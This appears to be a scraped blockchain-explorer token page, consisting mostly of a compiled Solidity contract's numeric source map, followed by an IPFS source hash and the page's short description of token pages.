5243:34;;991:10;;5302:39;;1364:18:1;5302:39:0;;;;;;;-1:-1:-1;5359:4:0;5145:226;;;;:::o;1552:148::-;1379:7;1406:6;-1:-1:-1;;;;;1406:6:0;991:10;1466:23;1458:68;;;;-1:-1:-1;;;1458:68:0;;5725:2:1;1458:68:0;;;5707:21:1;;;5744:18;;;5737:30;5803:34;5783:18;;;5776:62;5855:18;;1458:68:0;5523:356:1;1458:68:0;1659:1:::1;1643:6:::0;;1622:40:::1;::::0;-1:-1:-1;;;;;1643:6:0;;::::1;::::0;1622:40:::1;::::0;1659:1;;1622:40:::1;1690:1;1673:19:::0;;-1:-1:-1;;;;;;1673:19:0::1;::::0;;1552:148::o;2770:87::-;2809:13;2842:7;2835:14;;;;;:::i;3686:748::-;991:10;3772:4;3797:23;;;:9;:23;;;;;;:33;-1:-1:-1;3797:33:0;3789:82;;;;-1:-1:-1;;;3789:82:0;;6086:2:1;3789:82:0;;;6068:21:1;6125:2;6105:18;;;6098:30;6164:34;6144:18;;;6137:62;-1:-1:-1;;;6215:18:1;;;6208:34;6259:19;;3789:82:0;5884:400:1;3789:82:0;991:10;3882:11;3905:27;;;:13;:27;;;;;;3935:3;;3896:36;;:6;:36;:::i;:::-;:42;;;;:::i;:::-;3882:56;;3951:20;3995:3;3983:9;;3974:6;:18;;;;:::i;:::-;:24;;;;:::i;:::-;3951:47;-1:-1:-1;4009:19:0;3951:47;4031:12;4040:3;4031:6;:12;:::i;:::-;:27;;;;:::i;:::-;991:10;4071:23;;;;:9;:23;;;;;:33;;4009:49;;-1:-1:-1;4098:6:0;;4071:23;;;:33;;4098:6;;4071:33;:::i;:::-;;;;-1:-1:-1;;;;;;;4115:20:0;;;;;;:9;:20;;;;;:35;;4139:11;;4115:20;:35;;4139:11;;4115:35;:::i;:::-;;;;-1:-1:-1;;2248:42:0;4161:31;;;;:9;:31;;;:38;;4196:3;;4161:31;:38;;4196:3;;4161:38;:::i;:::-;;;;-1:-1:-1;;4218:46:0;;1391:25:1;;;-1:-1:-1;;;;;4218:46:0;;;991:10;;-1:-1:-1;;;;;;;;;;;4218:46:0;1379:2:1;1364:18;4218:46:0;;;;;;;4280:49;;1391:25:1;;;2248:42:0;;991:10;;-1:-1:-1;;;;;;;;;;;4280:49:0;1379:2:1;1364:18;4280:49:0;;;;;;;4369:13;;-1:-1:-1;;;;;4369:13:0;991:10;-1:-1:-1;;;;;4346:51:0;-1:-1:-1;;;;;;;;;;;4384:12:0;4346:51;;;;1391:25:1;;1379:2;1364:18;;1245:177;3316:229:0;3373:7;;-1:-1:-1;;;;;3373:7:0;991:10;3373:23;3370:60;;3316:229;:::o;3370:60::-;3440:15;3477:10;2931:9;;;;;2865:83;3477:10;3473:14;;:2;:14;:::i;:::-;3458:29;;:14;:29;:::i;:::-;:35;;3488:5;3458:35;:::i;:::-;991:10;3504:23;;;;:9;:23;;;;;:33;-1:-1:-1;;3316:229:0:o;2958:350::-;3072:3;3063:7;3060:16;3057:36;;;3089:1;3086;3079:12;3057:36;3118:7;;-1:-1:-1;;;;;3118:7:0;991:10;3118:23;3114:62;;2958:350;;:::o;3114:62::-;3191:9;3186:105;3210:4;:11;3206:1;:15;3186:105;;;3268:7;3243:13;:22;3257:4;3262:1;3257:7;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;3243:22:0;-1:-1:-1;;;;;3243:22:0;;;;;;;;;;;;:32;;;;3223:3;;;;;:::i;:::-;;;;3186:105;;;;2958:350;;:::o;4599:380::-;-1:-1:-1;;;;;4735:19:0;;4727:68;;;;-1:-1:-1;;;4727:68:0;;8146:2:1;4727:68:0;;;8128:21:1;8185:2;8165:18;;;8158:30;8224:34;8204:18;;;8197:62;-1:-1:-1;;;8275:18:1;;;8268:34;8319:19;;4727:68:0;7944:400:1;4727:68:0;-1:-1:-1;;;;;4814:21:0;;4806:68;;;;-1:-1:-1;;;4806:68:0;;8551:2:1;4806:68:0;;;8533:21:1;8590:2;8570:18;;;8563:30;8629:34;8609:18;;;8602:62;-1:-1:-1;;;8680:18:1;;;8673:32;8722:19;;4806:68:0;8349:398:1;4806:68:0;-1:-1:-1;;;;;4887:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;4939:32;;1391:25:1;;;4939:32:0;;1364:18:1;4939:32:0;;;;;;;4599:380;;;:::o;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:173::-;684:20;;-1:-1:-1;;;;;733:31:1;;723:42;;713:70;;779:1;776;769:12;713:70;616:173;;;:::o;794:254::-;862:6;870;923:2;911:9;902:7;898:23;894:32;891:52;;;939:1;936;929:12;891:52;962:29;981:9;962:29;:::i;:::-;952:39;1038:2;1023:18;;;;1010:32;;-1:-1:-1;;;794:254:1:o;1427:328::-;1504:6;1512;1520;1573:2;1561:9;1552:7;1548:23;1544:32;1541:52;;;1589:1;1586;1579:12;1541:52;1612:29;1631:9;1612:29;:::i;:::-;1602:39;;1660:38;1694:2;1683:9;1679:18;1660:38;:::i;:::-;1650:48;;1745:2;1734:9;1730:18;1717:32;1707:42;;1427:328;;;;;:::o;1949:186::-;2008:6;2061:2;2049:9;2040:7;2036:23;2032:32;2029:52;;;2077:1;2074;2067:12;2029:52;2100:29;2119:9;2100:29;:::i;:::-;2090:39;1949:186;-1:-1:-1;;;1949:186:1:o;2348:260::-;2416:6;2424;2477:2;2465:9;2456:7;2452:23;2448:32;2445:52;;;2493:1;2490;2483:12;2445:52;2516:29;2535:9;2516:29;:::i;:::-;2506:39;;2564:38;2598:2;2587:9;2583:18;2564:38;:::i;:::-;2554:48;;2348:260;;;;;:::o;2613:127::-;2674:10;2669:3;2665:20;2662:1;2655:31;2705:4;2702:1;2695:15;2729:4;2726:1;2719:15;2745:1191;2838:6;2846;2899:2;2887:9;2878:7;2874:23;2870:32;2867:52;;;2915:1;2912;2905:12;2867:52;2955:9;2942:23;2984:18;3025:2;3017:6;3014:14;3011:34;;;3041:1;3038;3031:12;3011:34;3079:6;3068:9;3064:22;3054:32;;3124:7;3117:4;3113:2;3109:13;3105:27;3095:55;;3146:1;3143;3136:12;3095:55;3182:2;3169:16;3204:4;3227:2;3223;3220:10;3217:36;;;3233:18;;:::i;:::-;3279:2;3276:1;3272:10;3311:2;3305:9;3374:2;3370:7;3365:2;3361;3357:11;3353:25;3345:6;3341:38;3429:6;3417:10;3414:22;3409:2;3397:10;3394:18;3391:46;3388:72;;;3440:18;;:::i;:::-;3476:2;3469:22;3526:18;;;3560:15;;;;-1:-1:-1;3602:11:1;;;3598:20;;;3630:19;;;3627:39;;;3662:1;3659;3652:12;3627:39;3686:11;;;;3706:148;3722:6;3717:3;3714:15;3706:148;;;3788:23;3807:3;3788:23;:::i;:::-;3776:36;;3739:12;;;;3832;;;;3706:148;;;3873:6;3911:18;;;;3898:32;;-1:-1:-1;;;;;;;2745:1191:1:o;3941:380::-;4020:1;4016:12;;;;4063;;;4084:61;;4138:4;4130:6;4126:17;4116:27;;4084:61;4191:2;4183:6;4180:14;4160:18;4157:38;4154:161;;4237:10;4232:3;4228:20;4225:1;4218:31;4272:4;4269:1;4262:15;4300:4;4297:1;4290:15;4154:161;;3941:380;;;:::o;4733:127::-;4794:10;4789:3;4785:20;4782:1;4775:31;4825:4;4822:1;4815:15;4849:4;4846:1;4839:15;4865:168;4905:7;4971:1;4967;4963:6;4959:14;4956:1;4953:21;4948:1;4941:9;4934:17;4930:45;4927:71;;;4978:18;;:::i;:::-;-1:-1:-1;5018:9:1;;4865:168::o;5038:217::-;5078:1;5104;5094:132;;5148:10;5143:3;5139:20;5136:1;5129:31;5183:4;5180:1;5173:15;5211:4;5208:1;5201:15;5094:132;-1:-1:-1;5240:9:1;;5038:217::o;5260:125::-;5300:4;5328:1;5325;5322:8;5319:34;;;5333:18;;:::i;:::-;-1:-1:-1;5370:9:1;;5260:125::o;5390:128::-;5430:3;5461:1;5457:6;5454:1;5451:13;5448:39;;;5467:18;;:::i;:::-;-1:-1:-1;5503:9:1;;5390:128::o;6289:422::-;6378:1;6421:5;6378:1;6435:270;6456:7;6446:8;6443:21;6435:270;;;6515:4;6511:1;6507:6;6503:17;6497:4;6494:27;6491:53;;;6524:18;;:::i;:::-;6574:7;6564:8;6560:22;6557:55;;;6594:16;;;;6557:55;6673:22;;;;6633:15;;;;6435:270;;;6439:3;6289:422;;;;;:::o;6716:806::-;6765:5;6795:8;6785:80;;-1:-1:-1;6836:1:1;6850:5;;6785:80;6884:4;6874:76;;-1:-1:-1;6921:1:1;6935:5;;6874:76;6966:4;6984:1;6979:59;;;;7052:1;7047:130;;;;6959:218;;6979:59;7009:1;7000:10;;7023:5;;;7047:130;7084:3;7074:8;7071:17;7068:43;;;7091:18;;:::i;:::-;-1:-1:-1;;7147:1:1;7133:16;;7162:5;;6959:218;;7261:2;7251:8;7248:16;7242:3;7236:4;7233:13;7229:36;7223:2;7213:8;7210:16;7205:2;7199:4;7196:12;7192:35;7189:77;7186:159;;;-1:-1:-1;7298:19:1;;;7330:5;;7186:159;7377:34;7402:8;7396:4;7377:34;:::i;:::-;7447:6;7443:1;7439:6;7435:19;7426:7;7423:32;7420:58;;;7458:18;;:::i;:::-;7496:20;;6716:806;-1:-1:-1;;;6716:806:1:o;7527:140::-;7585:5;7614:47;7655:4;7645:8;7641:19;7635:4;7614:47;:::i;7672:127::-;7733:10;7728:3;7724:20;7721:1;7714:31;7764:4;7761:1;7754:15;7788:4;7785:1;7778:15;7804:135;7843:3;7864:17;;;7861:43;;7884:18;;:::i;:::-;-1:-1:-1;7931:1:1;7920:13;;7804:135::o

Swarm Source

ipfs://32c5d90db9dc98531219ed770b7dc7e539f8baaf1e02c4c44d96beda9bca9068
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.